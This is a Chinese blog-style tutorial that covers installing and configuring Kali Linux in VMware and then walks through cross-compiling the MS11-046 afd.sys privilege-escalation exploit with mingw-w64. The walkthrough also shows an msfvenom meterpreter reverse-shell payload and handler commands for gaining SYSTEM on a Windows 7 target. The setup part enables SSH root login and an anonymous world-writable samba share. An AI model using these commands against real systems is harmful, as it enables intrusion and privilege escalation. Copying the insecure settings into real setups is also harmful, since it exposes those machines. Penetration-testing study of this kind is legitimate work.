这是在虚拟机安装下面是介绍kali linux***操作系统

一、Kali简介

1.1、相关连接

Kali百度百科:https://baike.baidu.com/item/Kali%20linux/8305689?fr=aladdin

Kali wiki:https://en.wikipedia.org/wiki/Kali

Kali官网:https://www.kali.org/

1.2、重点介绍

Kali Linux是基于Debian的Linux发行版,设计用于数字取证操作系统。Kali Linux预装了许多***测试软件,包括nmap、Wireshark、John the Ripper,以及Aircrack-ng.用户可通过硬盘、live CD或live USB运行Kali Linux。Kali Linux既有32位和64位的镜像。可用于x86指令集。同时还有基于ARM架构的镜像,可用于树莓派和三星的ARM Chromebook

综上可知,Kali是一款安全研究人员使用的Linux发行版系统。

安装环境

本部分安装时安装在VMware的虚拟机。

  1. 操作系统:Windows10 64位

  2. VMware:VMware 12

  3. Kali:kali-linux-2018.2-vm-amd64.ova

    Kali通用下载:https://www.kali.org/downloads/

    Kali下载连接:https://www.offensive-security.com/kali-linux-vm-vmware-virtualbox-hyperv-image-download/

      Kali系统官方提供可以直接导入VM的OVA系统。以下是下载的过程截图。如果版本更新可以在Kali的官网下载地址找到更新版本。

      

二、安装导入

下载以后,双击下载的“kali-linux-2018.2-vm-amd64.ova”(注意:此时已经安装了VMware,而且没有安装其他虚拟机,所以默认可以使用VMware打开这种格式的文件)然后导入即可,导入过程可以选择虚拟机的存储路径。导入后开机。

初始用户:root

初始密码:toor

导入后界面

      


记录下简单安装的步骤

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

使用配置

因为Kali中已经集成了很多工具,所以初次使用,可以配置一下使Kali用起来更得心应手。

准备工作:先查看VMtools是默认生效的(开机后需要有个反应时间)

3.1环境配置

alias,常用命令的命令别名开启(默认ll命令不是ls -l的别名)

?

1234567891011121314151617181 切换到用户的主目录: 2 cd 3 用vi编辑.bashrc,这个文件开机后自动生效里面的别名: 4 vi .bashrc 5 把下面的行去掉注释: 6     alias ls='ls --color=auto' 7     alias dir='dir --color=auto' 8     alias vdir='vdir --color=auto' 910     alias grep='grep --color=auto'11     alias fgrep='fgrep --color=auto'12     alias egrep='egrep --color=auto'1314     alias ll='ls -l'15     alias la='ls -A'16     alias l='ls -CF17 然后保存退出,然后生效当前配置:18 source .bashrc

把桌面目录的文件转移到文档目录:

?

11 mv /root/Desktop/* /root/Documents/

语言设置中文

?

123456789101112131415161 备份原配置: 2 mv /etc/default/locale /etc/default/locale.backup`date "+%Y%m%d"` 3 查看现在的系统语言环境: 4 echo $LANG 5 locale 6 修改配置: 7 vi /etc/default/locale 8 修改后的配置: 9     LANG="zh_CN.UTF-8"10     LANGUAGE="zh_CN:zh"11     LC_ALL="zh_CN.UTF-8"12 修改后立刻生效:13 source /etc/default/locale14 查看是否生效:15 echo $LANG16 locale

 

 

取消自动锁屏

  点击设置,然后点击,如下图所示:

    

    

3.2、ssh配置

添加ssh开机自启动:

?

123456781 查看ssh运行状态:2 /etc/init.d/ssh status3 启动ssh:4 /etc/init.d/ssh start5 开机自启动配置:6 systemctl enable ssh.service7 或者8 update-rc.d ssh enable

修改配置让ssh允许root登录:

?

123456789101 编辑ssh配置文件: 2 vi /etc/ssh/sshd_config 3 4 在查找模式/Per可以查找到对应开启允许root登录的行(第32行,也可以按数字32然后按gg即可。) 5 原来这行配置: 6     PermitRootLogin prohibit-password 7 修改后这行的配置: 8     PermitRootLogin yes 9 然后保存退出。然后重启ssh服务即可:10 /etc/init.d/ssh restart

3.3、samba配置

Kali默认已经安装了samba服务程序,但是并没有设置开机自启动。

配置文件修改

?

123456789101112131415161 备份配置文件: 2 cp /etc/samba/smb.conf /etc/samba/smb.conf.backup`date "+%Y%m%d"` 3 修改配置文件: 4 >/etc/samba/smb.conf 5 vi /etc/samba/smb.conf 6 下面是具体配置内容: 7 [global] 8     map to guest = Bad User 9 [Share]10     path = /root/Public11     public = yes12     writable = yes13     available = yes14     browseable = yes15 需要修改samba的根目录的权限设置为777,否则不能匿名登录:16 chmode 777 /root/Public

启动samba

?

12341 启动方式2 建议使用的方式:/etc/init.d/smbd start3 或者:4 systemctl start smbd.service

开机自启动

?

12341 开机自启动方法:2 update-rc.d smbd enable3 或者4 systemctl enable smbd.service

3.4、搜狗输入法安装

搜狗输入法Debian系统安装包网址:https://pinyin.sogou.com/linux/

可以下载到windows系统本地然后通过samba服务传入Kali或者直接通过鼠标拖拽进Kali系统的桌面。

准备环境

?

11 apt-get install fcitx -y

安装过程

首先查看安装包:

?

1231 ll2 总用量 223803 -rwxr--r-- 1 root root 22915896 7月  16 08:12 sogoupinyin_2.2.0.0108_amd64.deb

安装离线安装包(这个过程会报错):

?

12345671 dpkg -i sogoupinyin_2.2.0.0108_amd64.deb2 这个过程会报错:3 ......4         正在处理用于 shared-mime-info (1.9-2) 的触发器 ...5         正在处理用于 hicolor-icon-theme (0.17-2) 的触发器 ...6         在处理时有错误发生:7          sogoupinyin

然后执行下面命令:

?

11 apt --fix-broken install

然后再次安装:

?

11 dpkg -i sogoupinyin_2.2.0.0108_amd64.deb

此时安装完成。进入Kali可以通过shift按键切换中文搜狗输入法。


如何在kali linux上编译windows漏洞!

mingw-w64是一个用于创建windows应用程序的自由和开源软件开发环境。 mingw-w64最初叫mingw32,它当时不支持64位架构。在本教程中,我们将讨论如何使用mingw-64在 kali linux上编译windows漏洞。 让我们开始在kali linux上安装mingw-w64。

mingw-w64是一个用于创建windows应用程序的自由和开源软件开发环境。 mingw-w64最初叫mingw32,它当时不支持64位架构。

在本教程中,我们将讨论如何使用mingw-64在 kali linux上编译windows漏洞。 让我们开始在kali linux上安装mingw-w64。

1、在kali linux上安装mingw-w64

默认情况下,kali linux 2016.2和更低版本上未安装mingw-w64。 因此,我们需要先安装它,然后才能在linux上编译windows漏洞。 执行以下命令,安装mingw-w64:

apt-get update  apt-get install mingw-w64    

使用apt-get install mingw-w64在您的kali主机上安装mingw-w64。

使用apt-get install mingw-w64在您的kali主机上安装mingw-w64。

键入y为yes,以确认并继续mingw-w64安装过程。 下载和安装mingw-w64可能需要一段时间才能完成。

2、无法找到程序包mingw-w64的解决方法

有时,你尝试安装mingw-w64包时得到一个无法找到包mingw-w64的错误,并得到类似如下提示:

root@kali:~# apt-getinstall mingw-w64  reading package lists…done  building dependency tree  reading stateinformation… done  e: unable to locatepackage mingw-w64  

要解决这个问题,请确保在sources.list文件中具有正确的存储库。您可以使用nano编辑文件:

/etc/apt/sources.list

确保您在此文件中具有正确的存储库。 您可以在以下页面上找到不同版本的kali linux的存储库:


使用sources.list文件中的正确的存储库,您需要运行apt-get update,然后再次运行mingw-w64软件包的安装命令。

3、用mingw-w64交叉编译windows漏洞利用

现在我们已经安装了mingw-w64,可以开始编译windows漏洞利用程序了。 对于本教程,我们将编译一个用c编写的windows漏洞利用程序,以利用windows 7 sp0 x86中的cve-2011-1249(ms11-046)漏洞。 此版本的windows操作系统在辅助功能驱动程序(afd)中包含一个漏洞,允许已认证的非管理用户提升权限。即使mingw-w64是为非常需要的64位支持开发的,我们也可以编译32位windows漏洞。 让我们来看看如何编译32位windows漏洞。

让我们从exploit-db下载漏洞:

wget --output-document= 40564.c https://www.exploit-db.com/download/40564

使用以下命令编译windows 32位的afd.sys exploit:

i686-w64-mingw32-gcc[input file: source]–o [output file: .exe]-lws2_32

以下命令将编译windows 7 afd.sys特权升级漏洞:

i686-w64-mingw32-gcc 40564.c –o exploit.exe –lws2_32  

编译windows漏洞。

编译windows漏洞。

要将漏洞利用程序转移到目标主机,我们将使用内置的apacheweb服务器来提供它。 最后2个命令会将exploit复制到apache主目录并启动apache web服务器。

当我们从cmd.exe下载并执行该漏洞时,它将如下所示: 

漏洞利用成功执行。

漏洞利用成功执行。

因为我们可以看到whoami命令在执行exploit之前返回一个普通用户权限,之后显示是system用户权限。这个exploit实际上在当前shell中生成一个新的shell,而不是在新窗口中创建一个新的shell。这意味着我们也可以从命令行shell运行此漏洞利用程序,例如meterpreter。让我们看看如何从meterpreter会话运行漏洞利用。

4、利用编译错误

当编译针对不同架构和操作系统的漏洞时,可能会发生许多错误。有很多因素可能导致编译失败,例如:语法,库,主机和目标体系结构,用于编译代码的已安装软件等等。一些错误可能很容易修复,有些错误则不是。同样重要的是不同的警告来自致命的错误,因为警告可能只是指示一些类似的过时的功能,不能阻止漏洞的工作。致命错误会阻止漏洞利用,因此需要修复。

处理编译错误的最佳方法是仔细阅读,然后在google上搜索解决方案。通常你不是第一个也不是唯一面对某个编译错误的人,因此没有必要重新发明轮子。在线资源(如堆栈交换)通常为您提供最常见的编译错误的可能解决方案。

5、从meterpreter shell中利用ms11-046

让我们使用msfvenom快速生成windows 32位meterpreter反向tcp有效负载,并在目标主机上执行它。 我们将在metasploit中使用多处理程序来捕获反向shell。

使用以下命令使用msfvenom创建有效负载:

msfvenom -a x86 –platform windows -p windows/meterpreter/reverse_tcplhost=[ip attackbox] lport=4444 -e x86/shikata_ga_nai –f exe –o exploit.exe

请务必更换侦听主机ip,必要时更换侦听端口。现在启动msfconsole并运行以下命令来设置多处理器漏洞:

use exploit/multi/handler  set lhost [listening host ip]  set lport 4444  run   

在端口4444上启动反向tcp处理程序。

在端口4444上启动反向tcp处理程序。

然后下载利用程序到目标主机并执行它。 如果一切设置正确,您应该在msfconsole上收到一个反向meterpreter shell: 

目标主机连接回kali。

目标主机连接回kali。

在meterpreter命令行上运行下一“shell”命令并运行特权升级漏洞利用程序将shell升级到系统shell: 

特权升级***通过我们的meterpreter会话成功执行。

特权升级***通过我们的meterpreter会话成功执行。

正如你可以看到的,shell从特权测试用户shell变化到系统shell。 请注意,在执行它的shell中生成一个新的系统shell。 因此,我们不能看到利用输出,因为它是在有限的特权的旧shell。

您可以通过键入exit来验证这一点,将退出系统shell并返回到仍包含windows 7权限升级exploit输出的用户shell: 

特权用户shell上的exploit输出。

特权用户shell上的exploit输出。

学到的东西

在本教程中,我们已经了解了在linux上针对windows的交叉编译漏洞的基础知识。 我们已经学习了如何在kali linux上安装mingw-w64并解决最常见的安装问题。 为了练习漏洞编译过程,我们编译了一个针对windows7 x86的特权提升漏洞。 这也称为交叉编译。

我们已成功的在目标主机上执行已编译的可执行文件,并将shell从有限的用户shell升级到系统shell。 我们已经知道,这个特殊的exploit在shell中生成了一个shell,在这个shell中执行了exploit。 这样,我们还可以从命令行(例如meterpreter shell)执行特权提升漏洞利用。